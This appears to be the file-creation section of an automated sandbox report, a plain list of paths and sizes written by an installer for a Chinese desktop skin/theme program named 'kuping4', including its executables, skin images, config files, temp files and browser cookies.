    C:\kuping4\Universal\UniversalMiniSkin\skinconfig.ini (89 bytes)
    %Documents and Settings%\%current user%\My Documents\Universal\Universal.ini (237 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\MI_89.tmp (1 bytes)
    C:\kuping4\Universal\unrar.dll (185 bytes)
    C:\kuping4\Universal\UniversalMiniSkin\默认\ui\mini\bg.png (2 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\309d_appcompat.txt (20221 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\RM_87.tmp (874 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\CA_84.tmp (1 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\MA_8B.tmp (1 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\DI_8D.tmp (1 bytes)
    C:\kuping4\Universal\UniversalMiniSkin\默认\ui\mini\close.png (2 bytes)
    C:\kuping4\Universal\UniversalMiniSkin\默认\ui\mini\small.png (1 bytes)
    C:\kuping4\Universal\UniversalMiniSkin\默认\ui\mini\seach.png (1 bytes)
    C:\kuping4\Universal\UniversalMiniSkin\默认\skin.ini (822 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\DW_86.tmp (213792 bytes)
    C:\kuping4\Universal\UniversalMiniSkin\默认\ui\mini\seach-btn.png (1 bytes)
    C:\kuping4\Universal\UniversalMiniSkin\默认\ui\mini\logo.png (4 bytes)
    C:\kuping4\Universal\UniversalMiniSkin\ĬÈÏ\ui\mini (4 bytes)
    C:\kuping4\Update\soft.ini (1714 bytes)
    %Documents and Settings%\%current user%\Cookies\Current_User@config.wallba[1].txt (329 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\DW_80.tmp (126 bytes)
    %Documents and Settings%\%current user%\Cookies\index.dat (1060 bytes)
    C:\kuping4\TempDownLoad\Home\11275.jpg_0 (388 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\H9LJNTUH\Liveindex[1].htm (312 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\81AVK52J\stat[1].php (1163 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\DW_81.tmp (2 bytes)
    C:\kuping4\Kpclick.ini (2 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\op_7F.tmp (631 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\H9LJNTUH\core[1].php (800 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\81AVK52J\stat[1].gif (43 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\11373A.dmp (127725 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\DW_82.tmp (426 bytes)
    C:\kuping4\Update\updatelog.ini (31 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\desktop.ini (67 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\WLMZG52N\desktop.ini (67 bytes)
    %Program Files%\kuping_b_53390.exe (37274 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\CPIRWXAZ\desktop.ini (67 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\H9LJNTUH\desktop.ini (67 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\81AVK52J\desktop.ini (67 bytes)
    C:\kuping4\skinConfig\ĬÈÏ\ui\IndivCenter\My-resources\list-screen.png (196 bytes)
    C:\kuping4\skinConfig\ĬÈÏ\UpdateUi\ui\SkinCenter\bg_focus.png (327 bytes)
    C:\kuping4\skinConfig\ĬÈÏ\LocalManagement_Layer.ini (1 bytes)
    C:\kuping4\skinConfig\ĬÈÏ\ui\slice\bg-6.png (210 bytes)
    C:\kuping4\skinConfig\ĬÈÏ\ui\slice\delete.png (486 bytes)
    C:\kuping4\skinConfig\ĬÈÏ\ui\IndivCenter\My-resources\list-mause.png (196 bytes)
    C:\kuping4\skinConfig\ĬÈÏ\ui\management.png (392 bytes)
    C:\kuping4\skinConfig\ĬÈÏ\ui\computer.png (1568 bytes)
    C:\kuping4\skinConfig\ĬÈÏ\ui\IndivCenter\Personal-information\aboutme-text.png (1 bytes)
    C:\kuping4\skinConfig\ĬÈÏ\ui\DownloadWebDlg\delete.png (960 bytes)
    %Documents and Settings%\%current user%\Cookies\Current_User@img.wallba[1].txt (321 bytes)
    C:\kuping4\TempDownLoad\Home\11272.jpg (392 bytes)
    C:\kuping4\skinConfig\ĬÈÏ\ui\IndivCenter\Personal-information\image-bg.png (392 bytes)
    C:\kuping4\skinConfig\ĬÈÏ\ui\list\recover.png (1 bytes)
    C:\kuping4\skinConfig\ĬÈÏ\UpdateUi\ui\UpdateSkin\update-button.png (1 bytes)
    C:\kuping4\skinConfig\ĬÈÏ\UpdateUi\ui\SkinCenter\button-skin-add.png (1 bytes)
    C:\kuping4\skinConfig\ĬÈÏ\CenterDlgConfig\UploadImageLayer.ini (3 bytes)
    C:\kuping4\skinConfig\ĬÈÏ\login\ui\tick_fcous.png (714 bytes)
    C:\kuping4\skinConfig\ĬÈÏ\UpdateUi\ui\UpdateSkin\cancel-button.png (1 bytes)
    C:\kuping4\skinConfig\ĬÈÏ\ui\slice\min.png (338 bytes)
    C:\kuping4\TempDownLoad\UserLive\tempfile\userlive.xml (480 bytes)
    C:\kuping4\skinConfig\ĬÈÏ\ui\notice\sure_button.png (1 bytes)
    C:\kuping4\skinConfig\ĬÈÏ\ui\cursor\right.cur (196 bytes)
    C:\kuping4\skinConfig\ĬÈÏ\ui\feedback\1111.png (199 bytes)
    C:\kuping4\skinConfig\ĬÈÏ\ui\serch-bg.png (161 bytes)
    C:\kuping4\skinConfig\ĬÈÏ\ui\slice\cancel-button.png (1 bytes)
    C:\kuping4\skinConfig\ĬÈÏ\UpdateUi\ui\UpdateSkin\bg_di.png (306 bytes)
    C:\kuping4\skinConfig\ĬÈÏ\login\RegisterSkin.ini (693 bytes)
    %Documents and Settings%\%current user%\Start Menu\Programs\¿áÆÁ4\¿áÆÁ4.lnk (1 bytes)
    C:\kuping4\skinConfig\ĬÈÏ\UpdateUi\ui\UpdateSkin\scroll_block.png (95 bytes)
    C:\kuping4\skinConfig\ĬÈÏ\ui\Menu\update.png (556 bytes)
    C:\kuping4\skinConfig\ĬÈÏ\ui\color\blue.png (307 bytes)
    C:\kuping4\skinConfig\ĬÈÏ\login\ui\explain.png (559 bytes)
    C:\kuping4\skinConfig\ĬÈÏ\ui\add-app-bg_02.png (523 bytes)
    C:\kuping4\skinConfig\ĬÈÏ\ui\DownloadWebDlg\scroll-bg.png (305 bytes)
    C:\kuping4\skinConfig\ĬÈÏ\SkinInfo.ini (19 bytes)
    C:\kuping4\TempDownLoad\Home\11276.jpg (392 bytes)
    C:\kuping4\kuping_v4.exe (5620 bytes)
    C:\kuping4\Kp_BootClry.exe (1137 bytes)
    C:\kuping4\skinConfig\ĬÈÏ\ui\IndivCenter\My-resources\left-bck.png (1 bytes)
    C:\kuping4\SystemConfig\setting.ini (255 bytes)
    %Documents and Settings%\%current user%\Cookies\Current_User@config.153624[1].txt (191 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\KP_7D\skinconfig\ĬÈÏ\MsgBox_1.ini (729 bytes)
    C:\kuping4\skinConfig\ĬÈÏ\newUi\share.png (196 bytes)
    C:\kuping4\skinConfig\ĬÈÏ\ui\notice\notice.png (1 bytes)
    C:\kuping4\Appsoftconfig\image\clear.png (3 bytes)
    C:\kuping4\skinConfig\ĬÈÏ\UpdateUi\ui\SkinCenter\skin_bg_02.png (791 bytes)
    C:\kuping4\UniversalFunction.dll (4840 bytes)
    C:\kuping4\Appsoftconfig\image\ielogo.png (196 bytes)
    C:\kuping4\skinConfig\ĬÈÏ\login\ui\login_button.png (1 bytes)
    C:\kuping4\skinConfig\ĬÈÏ\ui\progress\progress_bg.png (283 bytes)
    C:\kuping4\skinConfig\ĬÈÏ\ui\kupingbg-03_01.png (784 bytes)
    C:\kuping4\Uninstall\StartMenu.exe (24 bytes)
    C:\kuping4\skinConfig\ĬÈÏ\ui\slice\Conventional-set.png (988 bytes)
    C:\kuping4\skinConfig\ĬÈÏ\newUi\attention.png (196 bytes)
    C:\kuping4\skinConfig\ĬÈÏ\ui\IndivCenter\My-resources\list-icon.png (196 bytes)
    C:\kuping4\skinConfig\ĬÈÏ\ui\list\list-pause.png (669 bytes)
    C:\kuping4\skinConfig\ĬÈÏ\ui\slice\bg-3.png (1 bytes)
    C:\kuping4\skinConfig\ĬÈÏ\ui\max.png (157 bytes)
    C:\kuping4\skinConfig\ĬÈÏ\ui\list\App.png (868 bytes)
    C:\kuping4\skinConfig\ĬÈÏ\ui\IndivCenter\upload\x.png (943 bytes)
    C:\kuping4\Uninstall\skinConfig_un\ĬÈÏ\ui\Uninstall\lijixiufu.png (784 bytes)
    C:\kuping4\skinConfig\ĬÈÏ\ui\slice\bg-2.png (1 bytes)
    C:\kuping4\TempDownLoad\StartUp\tempfile\StartUp.xml (784 bytes)
    C:\kuping4\skinConfig\ĬÈÏ\UpdateUi\ui\UpdateSkin\scroll_deck.png (175 bytes)
    C:\kuping4\MSGBoxSkin\UI\stop_button.png (1 bytes)
    C:\kuping4\Appsoftconfig\image\buttoncmd.png (196 bytes)
    C:\kuping4\skinConfig\ĬÈÏ\ui\kp4.2flash_01.png (791 bytes)
    C:\kuping4\Update\SkinResource\CheckUpdate.png (1 bytes)
    C:\kuping4\skinConfig\ĬÈÏ\ui\slice\Default-recovery_button.png (1 bytes)
    C:\kuping4\skinConfig\ĬÈÏ\tooltipUi\bg_02.png (4 bytes)
    C:\kuping4\skinConfig\ĬÈÏ\ui\center-line.png (128 bytes)
    C:\kuping4\skinConfig\ĬÈÏ\newUi\collection.png (196 bytes)
    C:\kuping4\skinConfig\ĬÈÏ\UpdateUi\ui\SkinCenter\bg.png (341 bytes)
    C:\kuping4\skinConfig\ĬÈÏ\newUi\theme.png (196 bytes)
    C:\kuping4\Uninstall\skinConfig_un\ĬÈÏ\Uninstall.ini (1 bytes)
    C:\kuping4\skinConfig\ĬÈÏ\ui\IconListEx\cancel.png (1 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\KP_7D\skinconfig\ĬÈÏ\ui\msgbox\close.png (3 bytes)
    C:\kuping4\skinConfig\ĬÈÏ\newUi\album.png (196 bytes)
    C:\kuping4\skinConfig\ĬÈÏ\SettingMenuDlgConfig\UpDateMenu_Layer.ini (1 bytes)
    C:\kuping4\MSGBoxSkin\MSGBoxSkin.ini (2 bytes)
    C:\kuping4\MSGBoxSkin\UI\delete.png (486 bytes)
    C:\kuping4\skinConfig\ĬÈÏ\ui\IndivCenter\My-resources\list-Screen-saver.png (196 bytes)
    C:\kuping4\Uninstall\skinConfig_un\ĬÈÏ\ui\Uninstall\bg_02.png (1765 bytes)
    C:\kuping4\skinConfig\ĬÈÏ\newUi\mainsub.png (1 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\81AVK52J\index[1].htm (750 bytes)
    C:\kuping4\skinConfig\ĬÈÏ\UpdateUi\ui\UpdateSkin\progress.png (107 bytes)
    C:\kuping4\skinConfig\ĬÈÏ\MouseNavigation_Layer.ini (2 bytes)
    C:\kuping4\skinConfig\ĬÈÏ\ui\search.png (681 bytes)
    C:\kuping4\KPUpdater.dll (3439 bytes)
    C:\kuping4\skinConfig\ĬÈÏ\UpdateUi\ui\UpdateSkin\smile.png (1 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\KP_7D\LZMA.dll (68 bytes)
    C:\kuping4\skinConfig\ĬÈÏ\ui\IndivCenter\Personal-information\re-choice.png (371 bytes)
    C:\kuping4\skinConfig\ĬÈÏ\tooltipUi\delete.png (1 bytes)
    C:\kuping4\skinConfig\ĬÈÏ\ui\help.png (633 bytes)
    C:\kuping4\skinConfig\ĬÈÏ\newUi\home.png (196 bytes)
    C:\kuping4\skinConfig\ĬÈÏ\ui\IndivCenter\My-resources\list_wallpaper.png (196 bytes)
    C:\kuping4\skinConfig\ĬÈÏ\newUi\mause.png (196 bytes)
    C:\kuping4\skinConfig\ĬÈÏ\ui\lefr_bg.png (194 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\WLMZG52N\h[1].js (5 bytes)
    C:\kuping4\skinConfig\ĬÈÏ\SettingMenuDlgConfig\ApplicationMenu_Layer.ini (3 bytes)
    C:\kuping4\QuickenFunctionConfig\Management\status.ini (161 bytes)
    C:\kuping4\skinConfig\ĬÈÏ\ui\IndivCenter\daohang\mainsub.png (1 bytes)
    C:\kuping4\skinConfig\ĬÈÏ\ui\Menu\newcreat-bg.png (171 bytes)
    C:\kuping4\Update\SkinResource\Minimize.png (392 bytes)
    C:\kuping4\skinConfig\ĬÈÏ\ui\IndivCenter\Personal-information\Modify-head.png (922 bytes)
    C:\kuping4\skinConfig\ĬÈÏ\ui\progress\iconlist_bg.png (3 bytes)
    C:\kuping4\skinConfig\ĬÈÏ\ui\¿áÆÁ4.0flash_02.png (414 bytes)
    C:\kuping4\skinConfig\ĬÈÏ\login\ui\tick.png (227 bytes)
    C:\kuping4\skinConfig\ĬÈÏ\ui\UpdateNotice\bg_top.png (984 bytes)
    C:\kuping4\skinConfig\ĬÈÏ\CenterDlgConfig\TailorHeadImageLayer.ini (1 bytes)
    C:\kuping4\TempDownLoad\Home\11273.jpg (588 bytes)
    C:\kuping4\skinConfig\ĬÈÏ\ui\UpdateNotice\sure_button.png (1 bytes)
    C:\kuping4\KpInstallTheme.exe (1764 bytes)
    C:\kuping4\skinConfig\ĬÈÏ\ui\slice\update-online_botton.png (1 bytes)
    C:\kuping4\skinConfig\ĬÈÏ\UpdateUi\ui\UpdateSkin\silent_download.png (2 bytes)
    C:\kuping4\skinConfig\ĬÈÏ\ui\Menu\newcreat-focus.png (214 bytes)
    C:\kuping4\skinConfig\ĬÈÏ\UpdateUi\ui\UpdateSkin\progress_focus.png (190 bytes)
    C:\kuping4\skinConfig\ĬÈÏ\ui\list\focus.png (222 bytes)
    C:\kuping4\skinConfig\ĬÈÏ\ui\theme-max.png (1529 bytes)
    C:\kuping4\skinConfig\ĬÈÏ\ui\application\icon_focus.png (483 bytes)
    C:\kuping4\skinConfig\ĬÈÏ\ui\IndivCenter\daohang\failRefresh.png (382 bytes)
    C:\kuping4\skinConfig\ĬÈÏ\ui\about\logo_s.png (970 bytes)
    C:\kuping4\skinConfig\ĬÈÏ\ui\add.png (392 bytes)
    %Documents and Settings%\%current user%\Cookies\Current_User@img.wallba[2].txt (545 bytes)
    C:\kuping4\skinConfig\ĬÈÏ\MenuSetConfig.ini (48 bytes)
    C:\kuping4\skinConfig\ĬÈÏ\ui\list\list-bg.png (196 bytes)
    C:\kuping4\skinConfig\ĬÈÏ\login\MainSkin.ini (697 bytes)
    C:\kuping4\Universal\Soft\softset.ini (78 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\KP_7D\skinconfig\ĬÈÏ\ui\msgbox\cancel.png (3 bytes)
    C:\kuping4\skinConfig\ĬÈÏ\CenterDlgConfig\tag.ini (205 bytes)
    C:\kuping4\skinConfig\ĬÈÏ\ui\kupingbg-03_02.png (196 bytes)
    C:\kuping4\skinConfig\ĬÈÏ\ui\Personal-center.png (196 bytes)
    C:\kuping4\MSGBoxSkin\UI\retry_button.png (1 bytes)
    C:\kuping4\skinConfig\ĬÈÏ\ui\cursor\left.cur (196 bytes)
    C:\kuping4\skinConfig\ĬÈÏ\ui\IndivCenter\upload\tag-line.png (108 bytes)
    C:\kuping4\skinConfig\ĬÈÏ\ui\slice\notMulti.png (3 bytes)
    C:\kuping4\skinConfig\ĬÈÏ\ui\Menu\help_icon.png (730 bytes)
    C:\kuping4\skinConfig\ĬÈÏ\ui\list\error.png (544 bytes)
    C:\kuping4\Universal\skinConfig.rar (980 bytes)
    C:\kuping4\skinConfig\ĬÈÏ\ui\IndivCenter\upload\silder.png (363 bytes)
    C:\kuping4\VersionConfig.xml (1060 bytes)
    C:\kuping4\skinConfig\ĬÈÏ\ui\slice\notcheak.png (391 bytes)
    C:\kuping4\skinConfig\ĬÈÏ\ui\feedback\bg.png (1372 bytes)
    C:\kuping4\getnew.exe (1960 bytes)
    C:\kuping4\SpecialSubject.ini (1 bytes)
    C:\kuping4\skinConfig\ĬÈÏ\ui\progress\cancel.png (1 bytes)
    C:\kuping4\skinConfig\ĬÈÏ\ui\IndivCenter\upload\down.png (178 bytes)
    C:\kuping4\skinConfig\ĬÈÏ\UpdateUi\SkinCenter.ini (1 bytes)
    C:\kuping4\skinConfig\ĬÈÏ\CenterDlgConfig\MainSkin.ini (1 bytes)
    C:\kuping4\skinConfig\ĬÈÏ\ui\list\loading.png (196 bytes)
    C:\kuping4\Uninstall\skinConfig_un\ĬÈÏ\ui\Uninstall\jindutiao.png (1 bytes)
    C:\kuping4\skinConfig\ĬÈÏ\ui\IndivCenter\Personal-information\line.png (109 bytes)
    C:\kuping4\skinConfig\ĬÈÏ\ui\reg-btn.png (196 bytes)
    C:\kuping4\skinConfig\ĬÈÏ\ui\focus-bg.png (107 bytes)
    C:\kuping4\skinConfig\ĬÈÏ\ui\UpdateNotice\notchoose.png (879 bytes)
    C:\kuping4\skinConfig\ĬÈÏ\ui\IndivCenter\daohang\aboutme.png (196 bytes)
    C:\kuping4\skinConfig\ĬÈÏ\ui\progress\progress_bg1.png (258 bytes)
    C:\kuping4\TempDownLoad\UserLive\version.ini (29 bytes)
    C:\kuping4\skinConfig\ĬÈÏ\ui\application\scroll_thumb.png (1 bytes)
    C:\kuping4\skinConfig\ĬÈÏ\UpdateUi\ui\UpdateSkin\install-button.png (1 bytes)
    C:\kuping4\QuickenFunctionConfig\Management\ManagementCommerce.xml (2 bytes)
    C:\kuping4\skinConfig\ĬÈÏ\ui\list\white.png (2 bytes)
    C:\kuping4\skinConfig\ĬÈÏ\UpdateUi\ui\SkinCenter\skin_bg_03.png (421 bytes)
    C:\kuping4\Uninstall\skinConfig_un\ĬÈÏ\ui\Uninstall\delete.png (1 bytes)
    C:\kuping4\info.ini (16 bytes)
    C:\kuping4\skinConfig\ĬÈÏ\login\ui\login_bg.png (392 bytes)
    C:\kuping4\skinConfig\ĬÈÏ\ui\log-bckhead.png (4 bytes)
    C:\kuping4\skinConfig\ĬÈÏ\ui\Menu\tui-chu.png (232 bytes)
    C:\kuping4\skinConfig\ĬÈÏ\tooltipUi\application.png (2 bytes)
    C:\kuping4\skinConfig\ĬÈÏ\login\ui\close.png (2 bytes)
    C:\kuping4\Appsoftconfig\image\buttonclear.png (196 bytes)
    C:\kuping4\skinConfig\ĬÈÏ\ui\IndivCenter\upload\delete.png (1 bytes)
    C:\kuping4\skinConfig\ĬÈÏ\AppDlgConfig\MainDlgSkin.ini (1 bytes)
    C:\kuping4\skinConfig\ĬÈÏ\login\ui\loading.png (2 bytes)
    C:\kuping4\Uninstall\skinConfig_un\ĬÈÏ\ui\Uninstall\advert.png (980 bytes)
    C:\kuping4\skinConfig\ĬÈÏ\UpdateUi\ui\UpdateSkin\bg_top.png (984 bytes)
    C:\kuping4\skinConfig\ĬÈÏ\NoticeDlgSkin.ini (1 bytes)
    C:\kuping4\skinConfig\ĬÈÏ\ui\line_w.png (91 bytes)
    C:\kuping4\skinConfig\ĬÈÏ\ui\UpdateNotice\pro.png (338 bytes)
    C:\kuping4\skinConfig\ĬÈÏ\UpdateUi\SkinCenterDownload.ini (1 bytes)
    C:\kuping4\skinConfig\ĬÈÏ\login\ui\notMulti.png (912 bytes)
    C:\kuping4\skinConfig\ĬÈÏ\IconsFolderNavigation_Layer.ini (1 bytes)
    C:\kuping4\skinConfig\ĬÈÏ\UpdateUi\ui\UpdateSkin\loading.png (196 bytes)
    C:\kuping4\skinConfig\ĬÈÏ\ui\UpdateNotice\delete.png (486 bytes)
    C:\kuping4\skinConfig\ĬÈÏ\ui\IndivCenter\daohang\myBaoku.png (392 bytes)
    C:\kuping4\skinConfig\ĬÈÏ\ui\ImageLook\load.png (3 bytes)
    %Documents and Settings%\%current user%\UserData\2Z89WTQV\config.153624[1].xml (266 bytes)
    C:\kuping4\skinConfig\ĬÈÏ\UpdateUi\ui\SkinCenter\install_icon.png (971 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\op_7E.tmp (1 bytes)
    C:\kuping4\skinConfig\ĬÈÏ\ui\IndivCenter\Personal-information\cover.png (109 bytes)
    C:\kuping4\TempDownLoad\TagInfo\list_win7.xml (1 bytes)
    C:\kuping4\skinConfig\ĬÈÏ\ui\IndivCenter\daohang\title-bg.png (2 bytes)
    C:\kuping4\Universal\UniversalMiniSkin\ĬÈÏ\ui\mini\bg.png (2 bytes)
    C:\kuping4\skinConfig\ĬÈÏ\ui\Menu\set.png (522 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\H9LJNTUH\stat[1].gif (43 bytes)
    C:\kuping4\skinConfig\ĬÈÏ\ui\ImageLook\bg_nf.png (588 bytes)
    C:\kuping4\skinConfig\ĬÈÏ\ui\list\download.png (2 bytes)
    C:\kuping4\skinConfig\ĬÈÏ\tooltipUi\cut_button-ato.png (2 bytes)
    C:\kuping4\skinConfig\ĬÈÏ\ui\kankan.png (1921 bytes)
    C:\kuping4\skinConfig\ĬÈÏ\UpdateUi\ui\SkinCenter\skin.png (629 bytes)
    C:\kuping4\skinConfig\ĬÈÏ\ui\color\green.png (324 bytes)
    C:\kuping4\skinConfig\ĬÈÏ\tooltipUi\bg_01.png (708 bytes)
    C:\kuping4\MSGBoxSkin\UI\success.png (2 bytes)
    C:\kuping4\skinConfig\ĬÈÏ\ui\UpdateNotice\choose.png (883 bytes)
    C:\kuping4\skinConfig\ĬÈÏ\Login_Layer.ini (1 bytes)
    C:\kuping4\skinConfig\ĬÈÏ\ui\Menu\new-bg.png (274 bytes)
    C:\kuping4\skinConfig\ĬÈÏ\ui\slice\bg-5.png (214 bytes)
    C:\kuping4\skinConfig\ĬÈÏ\newUi\news.png (196 bytes)
    C:\kuping4\skinConfig\ĬÈÏ\ui\IndivCenter\upload\upload_button.png (588 bytes)
    C:\kuping4\skinConfig\ĬÈÏ\ui\progress\progress_bg2.png (182 bytes)
    C:\kuping4\skinConfig\ĬÈÏ\ui\slice\sure_button.png (1 bytes)
    C:\kuping4\skinConfig\ĬÈÏ\login\ui\bg.png (784 bytes)
    C:\kuping4\TempDownLoad\Home\11279.jpg (392 bytes)
    C:\kuping4\skinConfig\ĬÈÏ\ui\meihua.png (196 bytes)
    C:\kuping4\skinConfig\ĬÈÏ\UpdateUi\ui\UpdateSkin\scroll_thumb.png (744 bytes)
    C:\kuping4\skinConfig\ĬÈÏ\ui\list\page.png (1 bytes)
    C:\kuping4\skinConfig\ĬÈÏ\ui\about\sure_button.png (1 bytes)
    C:\kuping4\skinConfig\ĬÈÏ\ui\application\scroll_block.png (763 bytes)
    C:\kuping4\skinConfig\ĬÈÏ\ui\DownloadWebDlg\notice-bg.png (1 bytes)
    C:\kuping4\skinConfig\ĬÈÏ\UpdateUi\UpdateNetError.ini (633 bytes)
    C:\kuping4\skinConfig\ĬÈÏ\UpdateUi\UpdateDownloadPage.ini (592 bytes)
    C:\kuping4\skinConfig\ĬÈÏ\ui\IndivCenter\Personal-information\bg1.png (1 bytes)
    C:\kuping4\skinConfig\ĬÈÏ\ui\loading2.png (1 bytes)
    C:\kuping4\skinConfig\ĬÈÏ\ui\IndivCenter\Personal-information\city-about.png (1 bytes)
    C:\kuping4\skinConfig\ĬÈÏ\ui\Menu\menu_move.png (440 bytes)
    C:\kuping4\skinConfig\ĬÈÏ\ui\IndivCenter\upload\Label-input-box.png (258 bytes)
    C:\kuping4\Uninstall\skinConfig_un\ĬÈÏ\ui\Uninstall\open.png (784 bytes)
    C:\kuping4\skinConfig\ĬÈÏ\ui\IndivCenter\Personal-information\uphead.png (1 bytes)
    C:\kuping4\QuickenFunctionConfig\home\HomeConfig.xml (1 bytes)
    C:\kuping4\TempDownLoad\Home\Homeversion.ini (31 bytes)
    C:\kuping4\skinConfig\ĬÈÏ\ui\color\yellow.png (298 bytes)
    C:\kuping4\skinConfig\ĬÈÏ\ui\log-bck.png (543 bytes)
    C:\kuping4\Uninstall\skinConfig_un\ĬÈÏ\ui\Uninstall\danxuan.png (1 bytes)
    C:\kuping4\skinConfig\ĬÈÏ\ui\feedback\focus.png (142 bytes)
    C:\kuping4\Universal\UniversalMiniSkin\ĬÈÏ\ui\mini\seach-btn.png (1 bytes)
    C:\kuping4\skinConfig\ĬÈÏ\FeedbackDlgConfig\MainFeedbackDlg.ini (879 bytes)
    C:\kuping4\skinConfig\ĬÈÏ\ui\IndivCenter\Personal-information\mail.png (263 bytes)
    C:\kuping4\skinConfig\ĬÈÏ\newUi\Screen-saver.png (196 bytes)
    C:\kuping4\skinConfig\ĬÈÏ\ui\IndivCenter\upload\tag_focus.png (196 bytes)
    C:\kuping4\skinConfig\ĬÈÏ\WebContro.ini (529 bytes)
    C:\kuping4\skinConfig\ĬÈÏ\ui\UpdateNotice\logo.png (970 bytes)
    C:\kuping4\skinConfig\ĬÈÏ\ui\function.png (392 bytes)
    C:\kuping4\skinConfig\ĬÈÏ\UpdateUi\ui\UpdateSkin\install_icon.png (971 bytes)
    C:\kuping4\skinConfig\ĬÈÏ\ui\Menu\focus.png (199 bytes)
    C:\kuping4\skinConfig\ĬÈÏ\login\ui\drop-down.png (338 bytes)
    C:\kuping4\skinConfig\ĬÈÏ\ui\add-app-bg_01.png (974 bytes)
    C:\kuping4\skinConfig\ĬÈÏ\login\ui\sina_logo.png (638 bytes)
    C:\kuping4\skinConfig\ĬÈÏ\ui\app.png (987 bytes)
    C:\kuping4\TempDownLoad\TagInfo\TagVersion.ini (29 bytes)
    C:\kuping4\skinConfig\ĬÈÏ\MainSkin.ini (3 bytes)
    C:\kuping4\Uninstall\skinConfig_un\skinconfig.ini (85 bytes)
    C:\kuping4\skinConfig\ĬÈÏ\ui\IndivCenter\daohang\album.png (392 bytes)
    C:\kuping4\skinConfig\ĬÈÏ\ui\IndivCenter\daohang\My-collection.png (392 bytes)
    C:\kuping4\skinConfig\ĬÈÏ\ui\IndivCenter\upload\begin.png (196 bytes)
    C:\kuping4\skinConfig\ĬÈÏ\ui\IndivCenter\Personal-information\title-Modify-head.png (3 bytes)
    C:\kuping4\skinConfig\ĬÈÏ\ui\color\gray.png (313 bytes)
    C:\kuping4\QuickenFunctionConfig\deskIco\status.ini (16 bytes)
    C:\kuping4\Uninstall\skinConfig_un\ĬÈÏ\ui\Uninstall\img_01.png (588 bytes)
    C:\kuping4\Appsoftconfig\image\play.png (196 bytes)
    C:\kuping4\skinConfig\ĬÈÏ\ui\application\iconlist_bg.png (3 bytes)
    C:\kuping4\skinConfig\ĬÈÏ\ui\IndivCenter\Personal-information\head120.png (1372 bytes)
    C:\kuping4\skinConfig\ĬÈÏ\ui\IndivCenter\upload\silder-fill.png (343 bytes)
    C:\kuping4\skinConfig\ĬÈÏ\ui\DownloadWebDlg\set-cancel.png (1 bytes)
    C:\kuping4\skinConfig\ĬÈÏ\ui\logo.png (392 bytes)
    C:\kuping4\skinConfig\ĬÈÏ\ui\IconListEx\icon_focus.png (510 bytes)
    C:\kuping4\skinConfig\ĬÈÏ\ui\slice\bg-1.png (794 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\KP_7D\skinconfig\ĬÈÏ\ui\msgbox\btn_known.png (3 bytes)
    C:\kuping4\skinConfig\ĬÈÏ\ui\IndivCenter\upload\bg.png (392 bytes)
    C:\kuping4\skinConfig\ĬÈÏ\ui\IndivCenter\Personal-information\tailorBg.jpg (1764 bytes)
    C:\kuping4\skinConfig\ĬÈÏ\ui\slice\cheak.png (564 bytes)
    C:\kuping4\skinConfig\ĬÈÏ\UpdateUi\ui\UpdateSkin\logo.png (970 bytes)
    C:\kuping4\skinConfig\ĬÈÏ\UpdateUi\ui\UpdateSkin\update.png (1 bytes)
    C:\kuping4\skinConfig\ĬÈÏ\ui\color\orange.png (327 bytes)
    C:\kuping4\skinConfig\skinversion.ini (29 bytes)
    C:\kuping4\skinConfig\ĬÈÏ\ui\shuyeer.png (196 bytes)
    C:\kuping4\Appsoftconfig\image\buttoncoculation.png (196 bytes)
    C:\kuping4\skinConfig\ĬÈÏ\ScreenSaverNavigation_Layer.ini (196 bytes)
    C:\kuping4\Appsoftconfig\image\soft.xml (196 bytes)
    C:\kuping4\skinConfig\ĬÈÏ\ui\Menu\set_icon.png (782 bytes)
    C:\kuping4\skinConfig\ĬÈÏ\ui\slice\upon.png (288 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\KP_7D\skinconfig\TongJICNZZ.dll (65 bytes)
    C:\kuping4\skinConfig\ĬÈÏ\UpdateUi\UpdateSkin.ini (1 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\CPIRWXAZ\h[1].js (5 bytes)
    C:\kuping4\skinConfig\ĬÈÏ\ui\ImageLook\bg_wf.png (2 bytes)
    C:\kuping4\skinConfig\ĬÈÏ\UpdateUi\ui\SkinCenter\delete.png (486 bytes)
    C:\kuping4\skinConfig\ĬÈÏ\ui\feedback\popmenu.png (678 bytes)
    C:\kuping4\Uninstall\skinConfig_un\ĬÈÏ\ui\Uninstall\check-box_focus.png (991 bytes)
    C:\kuping4\skinConfig\ĬÈÏ\ui\IndivCenter\daohang\My-share.png (392 bytes)
    C:\kuping4\skinConfig\ĬÈÏ\ui\Menu\focus-l.png (222 bytes)
